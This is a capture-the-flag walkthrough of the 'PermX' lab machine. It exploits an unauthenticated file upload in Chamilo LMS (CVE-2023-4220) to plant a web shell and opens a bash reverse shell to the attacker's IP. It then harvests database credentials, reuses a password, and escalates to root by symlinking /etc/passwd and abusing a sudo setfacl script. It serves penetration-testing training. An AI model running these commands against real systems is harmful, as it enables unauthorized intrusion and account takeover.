PermX
Initial Enumeration¶
Nmap¶
We first do our port discovery running sudo nmap -p- --min-rate 10000 10.129.71.63
. Then we run our script and version scans on the ports we found to be open.
$ sudo nmap -p22,80 -sC -sV -oN nmap-full 10.129.71.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 11:42 CET
Nmap scan report for 10.129.71.63
Host is up (0.024s latency).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
| 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds
- TTL of 63 indicating Linux as well as most likely no containerization in play.
- Port 20 SSH - Reveals Linux (Ubuntu)
- Port 80 HTTP - Redirects to
http://permx.htb
We add permx.htb
to our /etc/hosts
file.
Port 80¶
We visit http://permx.htb
in our browser and begin with some manual enumeration by browsing the website.
We see a fairly standard page with not much to discover manually.
Some interesting things to note are that the file extension .html
is used for pages on the site and we also see a contact email on the bottom of the page.
We will continue with doing automated enumeration using Ffuf, trying to discover directories as well as pages (discovered file extension .html
).
$ ffuf -u http://permx.htb/FUZZ -e html -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 23ms]
img [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 36ms]
css [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 29ms]
lib [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 30ms]
js [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 20ms]
<--SNIP-->
Nothing of interest can be found. We continue with fuzzing for possible subdomains using Ffuf.
$ ffuf -u http://permx.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.permx.htb" -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 1375ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 1423ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1307 req/sec :: Duration: [0:01:14] :: Errors: 0 ::
We successfully discover two interesting subdomains, so we will add www.permx.htb
as well as lms.permx.htb
to our /etc/hosts
file.
Upon browsing to http://www.permx.htb
we get greeted with the same site as http://permx.htb
.
Next we browser to http://lms.permx.htb
.
We can see an instance of the Chamilo
LMS in use. To fingerprint the version in order to look for possible exploits we curl
the README.md
, which is accessible on the webpage.
$ curl -s http://lms.permx.htb/README.md | grep -i chamilo
# Chamilo 1.11.x

[](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/?branch=1.11.x)
<--SNIP-->
So some version 1.11.x of Chamilo
is being used.
Exploitation¶
Googling for exploits for these versions we come across CVE-2023-4220 with PoC scripts available on GitHub
as well.
The exploit stems from an unauthenticated file upload vulnerability in bigUpload.php
and can be exploited in versions <= 1.11.24.
In the following we will use this script to exploit the vulnerability. Reading through the usage examples on the GitHub
page, we specify our -u
target URL and the -a
action to perform for which we chose the scan
option in order to quickly be able to confirm the possible vulnerability.
With the vulnerability potentially confirmed, we will specify the -a
action webshell
to upload a web shell and gain command execution.
$ python3 main.py -u http://lms.permx.htb -a webshell
Enter the name of the webshell file that will be placed on the target server (default: webshell.php): shelly.php
[+] Upload successfull [+]
Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shelly.php?cmd=<command>
Using curl
on the provided URL by the script, we can confirm successful command execution using the id
command.
$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shelly.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We will establish a reverse shell connection now. So first start our listener.
And run the curl
command with a simple bash
reverse shell command.
$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shelly.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.21/7777 0>&1'"
Getting the reverse shell connection established successfully.
connect to [10.10.16.21] from (UNKNOWN) [10.129.71.63] 45426
bash: cannot set terminal process group (1151): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ hostname
permx
Host Enumeration¶
Upon getting our reverse shell connection on the target host, we first start by doing some manual enumeration on the web roots of /var/www/html
and /var/www/chamilo
and look for config files. Nothing of great interest is to be found for /var/www/html
, however we come across /var/www/chamilo/cli-config.php
, which references database credentials.
It also reveals another configuration file under ./app/config/configuration.php
.
$ cat cli-config.php
cat cli-config.php
<?php
/* For licensing terms, see /license.txt */
/**
* Script needed to execute bin/doctrine.php in the command line
* in order to:.
*
* - Generate migrations
* - Create schema
* - Update schema
* - Validate schema
* - Etc
*/
use Doctrine\ORM\Tools\Console\ConsoleRunner;
require_once __DIR__.'/vendor/autoload.php';
//require_once __DIR__.'/main/inc/lib/api.lib.php';
$configurationFile = __DIR__.'/app/config/configuration.php';
if (!is_file($configurationFile)) {
echo "File does not exists: $configurationFile";
exit();
}
require_once __DIR__.'/main/inc/global.inc.php';
require_once $configurationFile;
$database = new \Database();
$dbParams = [
'driver' => 'pdo_mysql',
'host' => $_configuration['db_host'],
'user' => $_configuration['db_user'],
'password' => $_configuration['db_password'],
'dbname' => $_configuration['main_database'],
];
$database->connect($dbParams, realpath(__DIR__).'/', realpath(__DIR__).'/');
$entityManager = $database::getManager();
$helperSet = ConsoleRunner::createHelperSet($entityManager);
$dialogHelper = new Symfony\Component\Console\Helper\QuestionHelper();
$helperSet->set($dialogHelper);
return $helperSet;
Taking a look at ./app/config/configuration.php
and "grepping" the variable names mentioned in the above file, we can get the values for db_user
as well as db_password
.
$ cat app/config/configuration.php | grep db_user
$_configuration['db_user'] = 'chamilo';
$ cat app/config/configuration.php | grep db_password
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
We could also see from the /var/www/chamilo/cli-config.php
file that MySQL was being used. So we can try to login using mysql
, which is successful.
$ mysql -u chamilo -p03F6lY3uXAP2bkW8
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 54
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| chamilo |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
We will use the chamilo
database and show the tables present in it.
MariaDB [(none)]> use chamilo
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [chamilo]> show tables;
<--SNIP-->
| user |
| user_api_key |
| user_course_category |
| user_friend_relation_type |
<--SNIP-->
Discovering the table user
which sounds promising. We run the describe user;
command to get the column names of the user
table and then select the interesting information for us.
MariaDB [chamilo]> select username,password from user;
select username,password from user;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra |
| anon | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |
+----------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
This appears to be in Bcrypt
hash format and we can try to run Hashcat
on it.
$ ./hashcat hashes/permx/mysql.hashes rockyou.txt -m 3200
<--SNIP-->
$2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS:anon
<--SNIP-->
This proves to be unsuccessful other than revealing the anon
password, which does not get us any further when trying for password reuse.
Our next step would be to try for password reuse using the db_password
value we obtained through the previously inspected files. For this we first enumerate the users on the target host.
$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
And we see one user named mtz
other than the root
user. Trying to login as this user, using the db_password
"03F6lY3uXAP2bkW8" we successfully authenticate.
Once authenticated, the user flag can be found in the home directory of user mtz
.
Privilege Escalation¶
We can run sudo -l
to reveal commands we can run with sudo
privileges as user mtz
.
$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Taking a look at the acl.sh
script, it reveals that we can run the setfacl
binary as root.
$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
After getting a grasp on what the script does and expects as input, we can go to GTFOBins to look for ways we can possibly escalate our privileges through the setfacl
binary the script uses.
Under the Sudo
section, we can see a possible way to escalate our privileges using this binary and we see this is basically the command the acl.sh
script runs too. Now we just need to find a file we can abuse.
Furthermore the acl.sh
script restricts us to files inside our home directory, however we can bypass this restriction by creating a symbolic link to any file on the file system at our home directory.
To finally escalate our privileges, we can do it several ways. One of the simpler ways is to either change the second entry for the root
user from x
in the /etc/passwd
file to empty, meaning no password required to login as root
. We could also choose to put the same hash as the mtz
user in the /etc/shadow
file for the root
user, resulting in us being able to login as root
using mtz
password. In the following we will go with the former approach.
We start by creating a symbolic link to the /etc/passwd
file into our mtz
home directory.
$ ln -s /etc/passwd passwd
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<--SNIP-->
We change the permissions to rwx
for mtz
by abusing the acl.sh
script.
Next we run the following to clear the x
in the second entry of the /etc/passwd
file.
$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
$ cat /etc/passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<--SNIP-->
We can confirm that the second entry has been cleared and we can now login as the root
user without a password prompt.
The root flag can be found at /root/root.txt
.
Resources¶
- Cool way to fingerprint versions when having access to GitHub source code by ippsec.